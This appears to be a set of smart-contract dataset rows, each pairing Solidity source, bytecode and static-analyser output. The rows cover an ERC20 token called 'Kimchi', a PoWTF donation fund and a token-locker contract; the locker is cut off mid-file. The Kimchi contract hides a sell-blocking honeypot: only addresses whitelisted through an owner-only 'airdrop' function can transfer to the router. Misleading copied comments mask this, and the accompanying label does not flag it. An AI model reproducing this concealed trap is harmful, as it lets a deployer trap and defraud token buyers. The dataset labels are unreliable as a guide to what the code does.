function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function trades(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function airdrop(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
trades(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract Kimchi is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 1000000 * 10 ** 18;
constructor () ERC20(unicode'KimchiToken','Kimchi~') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063dd62ed3e14610243578063ed66d4711461027c57600080fd5b8063715018a6146101cd578063729ad39e146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610e2a565b60405180910390f35b61012b610126366004610d34565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610cf8565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610d34565b610403565b61013f6101b2366004610caa565b6001600160a01b031660009081526004602052604090205490565b6101d561043a565b005b6101d56101e5366004610d5e565b6104f6565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b610102610594565b61012b61022b366004610d34565b6105a3565b61012b61023e366004610d34565b610656565b61013f610251366004610cc5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6101d561028a366004610caa565b610762565b60606007805461029e90610eae565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610eae565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e3384846107f6565b5060015b92915050565b600061034584848461094e565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103e45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e636500000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103f885336103f38685610e97565b6107f6565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103f3908690610e7f565b6000546001600160a01b031633146104945760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031633146105505760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b60005b81518110156105905761057e82828151811061057157610571610f38565b6020026020010151610baa565b8061058881610ee9565b915050610553565b5050565b60606008805461029e90610eae565b3360009081526005602090815260408083206001600160a01b03861684529091528120548281101561063d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016103db565b61064c33856103f38685610e97565b5060019392505050565b600080546001600160a01b031633148015610678575060095460ff1615156001145b1561069b57610689335b848461094e565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156106b8575060095460ff16155b15610751576006546106ca9083610c28565b6006556001600160a01b0383166000908152600460205260409020546106f09083610c28565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107419086815260200190565b60405180910390a3506001610332565b61075a33610682565b506001610332565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0383166108715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b0382166108ed5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103db565b6001600160a01b038216610a465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103db565b6001546001600160a01b0383811691161415610a81576001600160a01b03831660009081526003602052604090205460ff16610a8157600080fd5b6001600160a01b03831660009081526004602052604090205481811015610b105760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103db565b610b1a8282610e97565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610b50908490610e7f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9c91815260200190565b60405180910390a350505050565b6000546001600160a01b03163314610c045760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103db565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600080610c358385610e7f565b905083811015610c875760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103db565b9392505050565b80356001600160a01b0381168114610ca557600080fd5b919050565b600060208284031215610cbc57600080fd5b610c8782610c8e565b60008060408385031215610cd857600080fd5b610ce183610c8e565b9150610cef60208401610c8e565b90509250929050565b600080600060608486031215610d0d57600080fd5b610d1684610c8e565b9250610d2460208501610c8e565b9150604084013590509250925092565b60008060408385031215610d4757600080fd5b610d5083610c8e565b946020939093013593505050565b60006020808385031215610d7157600080fd5b823567ffffffffffffffff80821115610d8957600080fd5b818501915085601f830112610d9d57600080fd5b813581811115610daf57610daf610f4e565b8060051b604051601f19603f83011681018181108582111715610dd457610dd4610f4e565b604052828152858101935084860182860187018a1015610df357600080fd5b600095505b83861015610e1d57610e0981610c8e565b855260019590950194938601938601610df8565b5098975050505050505050565b600060208083528351808285015260005b81811015610e5757858101830151858201604001528201610e3b565b81811115610e69576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610e9257610e92610f22565b500190565b600082821015610ea957610ea9610f22565b500390565b600181811c90821680610ec257607f821691505b60208210811415610ee357634e487b7160e01b600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610f1b57610f1b610f22565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122004c0b28a85715bdd82eeda140bc457e7bb337cf8e29e406a69d1895c020457c864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 9,417 |
0x9af341bac168bf68f345aff39863a2af392821f6
|
pragma solidity 0.4.20;
/*
* Team AppX presents...
* https://powtf.com/
* https://discord.gg/Ne2PTnS
*
* -> Quotes
* "Real, sustainable community change requires the initiative and engagement of community members." - Helene D. Gayle
* "Every successful individual knows that his or her achievement depends on a community of persons working together." - Paul Ryan
* "Empathy is the starting point for creating a community and taking action. It's the impetus for creating change." - Max Carver
* "WTF Moon!" - AppX Matthew
*
* Finally, a Community Funding Project for PoWTF!
*
* -> WTF is this!?
* In short, this is a contract to accept PoWTF token / ETH donations from community memebers
* as a way of gathering funds for regular marketing and contests.
* [✓] Hands of Stainless Steel! This tokens never sells, he can't and just simply don't know how to sell!
* [✓] Community Goods: All dividends will be used for promotional fee / contest prices, when the accumulated dividends get to certain amount, we'll create some campaign.
* [✓] Transparency: How to use the dividends will be regularly updated in website and discord announcement.
* [✓] Security: You need to trust me (@AppX Matthew) not to taking the dividends and go away :)
*
* =================================================*
* *
* __________ __ ________________________ *
* \______ \____/ \ / \__ ___/\_ _____/ *
* | ___/ _ \ \/\/ / | | | __) *
* | | ( <_> ) / | | | \ *
* |____| \____/ \__/\ / |____| \___ / *
* \/ \/ *
* *
* =================================================*
*
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title PullPayment
* @dev Base contract supporting async send for pull payments. Inherit from this
* contract and use asyncSend instead of send.
*/
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
/// @dev Interface to the PoWTF contract.
contract PoWTFInterface {
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256);
/// @dev Converts all of caller's dividends to tokens.
function reinvest() public;
/// @dev Alias of sell() and withdraw().
function exit() public;
/// @dev Withdraws all of the callers earnings.
function withdraw() public;
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) public;
/**
* @dev Transfer tokens from the caller to a new holder.
* Remember, there's a 15% fee here as well.
*/
function transfer(address _toAddress, uint256 _amountOfTokens) public returns (bool);
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256);
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256);
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256);
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256);
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256);
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256);
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256);
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256);
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256);
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256);
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256);
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256);
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256);
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y);
}
/// @dev Core Contract
contract PoWTFCommunityFund is Ownable, PullPayment {
/*=================================
= CONTRACTS =
=================================*/
/// @dev The address of the EtherDungeonCore contract.
PoWTFInterface public poWtfContract = PoWTFInterface(0x702392282255f8c0993dBBBb148D80D2ef6795b1);
/*==============================
= EVENTS =
==============================*/
event LogDonateETH(
address indexed donarAddress,
uint256 amount,
uint256 timestamp
);
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Besides donating PoWTF tokens, you can also donate ETH as well.
function donateETH() public payable {
// When you make an ETH domation, it will use your address as referrer / masternode.
poWtfContract.buy.value(msg.value)(msg.sender);
// Emit LogDonateETH event.
LogDonateETH(msg.sender, msg.value, now);
}
/// @dev Converts ETH dividends to PoWTF tokens.
function reinvestDividend() onlyOwner public {
poWtfContract.reinvest();
}
/// @dev Withdraw ETH dividends and put it to this contract.
function withdrawDividend() onlyOwner public {
poWtfContract.withdraw();
}
/// @dev Assign who can get how much of the dividends.
function assignFundReceiver(address _fundReceiver, uint _amount) onlyOwner public {
// Ensure there are sufficient available balance.
require(_amount <= this.balance - totalPayments);
// Using the asyncSend function of PullPayment, fund receiver can withdraw it anytime.
asyncSend(_fundReceiver, _amount);
}
/*=======================================
= SETTER FUNCTIONS =
=======================================*/
function setPoWtfContract(address _newPoWtfContractAddress) onlyOwner external {
poWtfContract = PoWTFInterface(_newPoWtfContractAddress);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106100945763ffffffff60e060020a6000350416625b4487811461009957806353b239c7146100be5780636103d70b146100df5780636a474002146100f25780637da39157146101055780638b4c40b0146101345780638da5cb5b1461013c578063d1632f671461014f578063e2982c2114610171578063f03a568714610190578063f2fde38b146101a3575b600080fd5b34156100a457600080fd5b6100ac6101c2565b60405190815260200160405180910390f35b34156100c957600080fd5b6100dd600160a060020a03600435166101c8565b005b34156100ea57600080fd5b6100dd610212565b34156100fd57600080fd5b6100dd6102ab565b341561011057600080fd5b61011861031b565b604051600160a060020a03909116815260200160405180910390f35b6100dd61032a565b341561014757600080fd5b6101186103e5565b341561015a57600080fd5b6100dd600160a060020a03600435166024356103f4565b341561017c57600080fd5b6100ac600160a060020a0360043516610434565b341561019b57600080fd5b6100dd610446565b34156101ae57600080fd5b6100dd600160a060020a03600435166104a0565b60025481565b60005433600160a060020a039081169116146101e357600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b33600160a060020a03811660009081526001602052604090205480151561023857600080fd5b600160a060020a033016318190101561025057600080fd5b600254610263908263ffffffff61053b16565b600255600160a060020a0382166000818152600160205260408082209190915582156108fc0290839051600060405180830381858888f1935050505015156102a757fe5b5050565b60005433600160a060020a039081169116146102c657600080fd5b600354600160a060020a0316633ccfd60b6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561030557600080fd5b6102c65a03f1151561031657600080fd5b505050565b600354600160a060020a031681565b600354600160a060020a031663f088d547343360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390911660048201526024016020604051808303818588803b151561038357600080fd5b6125ee5a03f1151561039457600080fd5b5050505060405180515050600160a060020a0333167fbdf1e51339f01f93307d90fb0c439218118fa1c4855e5a60e924527030212ab2344260405191825260208201526040908101905180910390a2565b600054600160a060020a031681565b60005433600160a060020a0390811691161461040f57600080fd5b600254600160a060020a033016310381111561042a57600080fd5b6102a7828261054d565b60016020526000908152604090205481565b60005433600160a060020a0390811691161461046157600080fd5b600354600160a060020a031663fdb5a03e6040518163ffffffff1660e060020a028152600401600060405180830381600087803b151561030557600080fd5b60005433600160a060020a039081169116146104bb57600080fd5b600160a060020a03811615156104d057600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561054757fe5b50900390565b600160a060020a038216600090815260016020526040902054610576908263ffffffff6105a916565b600160a060020a0383166000908152600160205260409020556002546105a2908263ffffffff6105a916565b6002555050565b6000828201838110156105b857fe5b93925050505600a165627a7a7230582079a4beb66de6ecfea72e8a09b577f402558e9ddee80a9145b82e4631db12f96d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,418 |
0xe027c70104881e34a75a943427fad0f2102a2109
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
/* getRoundData and latestRoundData should both raise "No data present" */
/* if they do not have data to report, instead of returning unset values */
/* which could be misinterpreted as actual reported values. */
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
/* Token Contract call and send Functions */
interface Token {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function approveAndCall(address spender, uint tokens, bytes memory data) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = payable(msg.sender);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract LockNLoad is Ownable{
using SafeMath for uint256;
/* Deposit Variables */
struct Items {
address tokenAddress;
address withdrawalAddress;
uint256 tokenAmount;
uint256 unlockTime;
bool withdrawn;
}
uint256 public depositId;
uint256[] public allDepositIds;
mapping (address => uint256[]) public depositsByWithdrawalAddress;
mapping (uint256 => Items) public lockedToken;
mapping (address => mapping(address => uint256)) public walletTokenBalance;
mapping(address => bool) public premiumMember;
bool public premium = true;
int private feerate = 1;
uint256 systemFeeCollected;
event LogWithdrawal(address SentToAddress, uint256 AmountTransferred);
AggregatorV3Interface internal priceFeed;
constructor() {
priceFeed = AggregatorV3Interface(0x773616E4d11A78F511299002da57A0a94577F1f4);
premiumMember[msg.sender] = true;
}
/* Calculate 1$ Price from Blockchain */
function getLatestPrice() public view returns (uint256) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return uint256(price);
}
/* Calculate the original Fee */
function getSystemFees() public view returns (uint256) {
(
,
int price,
,
,
) = priceFeed.latestRoundData();
return uint256(price*feerate);
}
/* Calculate Price for Multiple Locks */
function getSystemFeesBatch(uint256 _totalBatch) public view returns (uint256) {
return(getSystemFees()*_totalBatch);
}
/* Lock the Tokens */
function lockTokens(address _tokenAddress, address _withdrawalAddress, uint256 _amount, uint256 _unlockTime) public payable returns (uint256 _id) {
require(_amount > 0);
require(_unlockTime < 10000000000);
uint256 fee = getSystemFees();
/* Fee will be taken from non premium users */
if(premium){
if(!premiumMember[_withdrawalAddress]){
require(msg.value>=fee,"System Fee Required");
payable(owner).transfer(msg.value);
systemFeeCollected = systemFeeCollected + msg.value;
}
}
/* update balance in address */
walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(_amount);
_id = ++depositId;
lockedToken[_id].tokenAddress = _tokenAddress;
lockedToken[_id].withdrawalAddress = _withdrawalAddress;
lockedToken[_id].tokenAmount = _amount;
lockedToken[_id].unlockTime = _unlockTime;
lockedToken[_id].withdrawn = false;
allDepositIds.push(_id);
depositsByWithdrawalAddress[_withdrawalAddress].push(_id);
/* transfer tokens into contract */
require(Token(_tokenAddress).transferFrom(msg.sender, address(this), _amount));
}
/* Create Multiple Locks */
function createMultipleLocks(address _tokenAddress, address _withdrawalAddress, uint256[] memory _amounts, uint256[] memory _unlockTimes) public payable returns (uint256 _id) {
require(_amounts.length > 0);
require(_amounts.length == _unlockTimes.length);
uint256 fee = getSystemFees() * _amounts.length;
/* Fee will be taken from non premium users */
if(premium){
if(!premiumMember[_withdrawalAddress]){
require(msg.value>=fee,"System Fee Required");
payable(owner).transfer(msg.value);
systemFeeCollected = systemFeeCollected + msg.value;
}
}
uint256 i;
for(i=0; i<_amounts.length; i++){
require(_amounts[i] > 0);
require(_unlockTimes[i] < 10000000000);
/* update balance in address */
walletTokenBalance[_tokenAddress][_withdrawalAddress] = walletTokenBalance[_tokenAddress][_withdrawalAddress].add(_amounts[i]);
_id = ++depositId;
lockedToken[_id].tokenAddress = _tokenAddress;
lockedToken[_id].withdrawalAddress = _withdrawalAddress;
lockedToken[_id].tokenAmount = _amounts[i];
lockedToken[_id].unlockTime = _unlockTimes[i];
lockedToken[_id].withdrawn = false;
allDepositIds.push(_id);
depositsByWithdrawalAddress[_withdrawalAddress].push(_id);
/* transfer tokens into contract */
require(Token(_tokenAddress).transferFrom(msg.sender, address(this), _amounts[i]));
}
}
/* Extend the Lock Duration */
function extendLockDuration(uint256 _id, uint256 _unlockTime) public {
require(_unlockTime < 10000000000);
require(_unlockTime > lockedToken[_id].unlockTime);
require(!lockedToken[_id].withdrawn);
require(msg.sender == lockedToken[_id].withdrawalAddress);
/* set new unlock time */
lockedToken[_id].unlockTime = _unlockTime;
}
/* Transfer the Locked Tokens */
function transferLocks(uint256 _id, address _receiverAddress) public {
require(!lockedToken[_id].withdrawn);
require(msg.sender == lockedToken[_id].withdrawalAddress);
/* decrease sender's token balance */
walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount);
/* increase receiver's token balance */
walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress] = walletTokenBalance[lockedToken[_id].tokenAddress][_receiverAddress].add(lockedToken[_id].tokenAmount);
/* remove this id from sender address */
uint256 j;
uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length;
for (j=0; j<arrLength; j++) {
if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) {
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1];
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop();
break;
}
}
/* Assign this id to receiver address */
lockedToken[_id].withdrawalAddress = _receiverAddress;
depositsByWithdrawalAddress[_receiverAddress].push(_id);
}
/* Withdraw Tokens */
function withdrawTokens(uint256 _id) public {
require(block.timestamp >= lockedToken[_id].unlockTime);
require(msg.sender == lockedToken[_id].withdrawalAddress);
require(!lockedToken[_id].withdrawn);
lockedToken[_id].withdrawn = true;
/* update balance in address */
walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender] = walletTokenBalance[lockedToken[_id].tokenAddress][msg.sender].sub(lockedToken[_id].tokenAmount);
/* remove this id from this address */
uint256 j;
uint256 arrLength = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].length;
for (j=0; j<arrLength; j++) {
if (depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] == _id) {
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][j] = depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress][arrLength - 1];
depositsByWithdrawalAddress[lockedToken[_id].withdrawalAddress].pop();
break;
}
}
/* transfer tokens to wallet address */
require(Token(lockedToken[_id].tokenAddress).transfer(msg.sender, lockedToken[_id].tokenAmount));
emit LogWithdrawal(msg.sender, lockedToken[_id].tokenAmount);
/* Removes any BNB Stuck inside contract to Owner */
if(address(this).balance>0){
payable(owner).transfer(address(this).balance);
}
}
/* Get Total Token Balance in Contract */
function getTotalTokenBalance(address _tokenAddress) view public returns (uint256)
{
return Token(_tokenAddress).balanceOf(address(this));
}
/* Get Total Token Balance by Address */
function getTokenBalanceByAddress(address _tokenAddress, address _walletAddress) view public returns (uint256)
{
return walletTokenBalance[_tokenAddress][_walletAddress];
}
/* Get All Deposit IDs */
function getAllDepositIds() view public returns (uint256[] memory)
{
return allDepositIds;
}
/* Get Deposit Details */
function getDepositDetails(uint256 _id) view public returns (address _tokenAddress, address _withdrawalAddress, uint256 _tokenAmount, uint256 _unlockTime, bool _withdrawn)
{
return(lockedToken[_id].tokenAddress,lockedToken[_id].withdrawalAddress,lockedToken[_id].tokenAmount,
lockedToken[_id].unlockTime,lockedToken[_id].withdrawn);
}
/* Get Deposit Details by Withdrawal Address */
function getDepositsByWithdrawalAddress(address _withdrawalAddress) view public returns (uint256[] memory)
{
return depositsByWithdrawalAddress[_withdrawalAddress];
}
/* Turn Premium Feature ON or OFF */
function turnPremiumFeature() public onlyOwner returns (bool success) {
if (premium) {
premium = false;
} else {
premium = true;
}
return true;
}
/* This Function will whitelist Addresses for Premium Service */
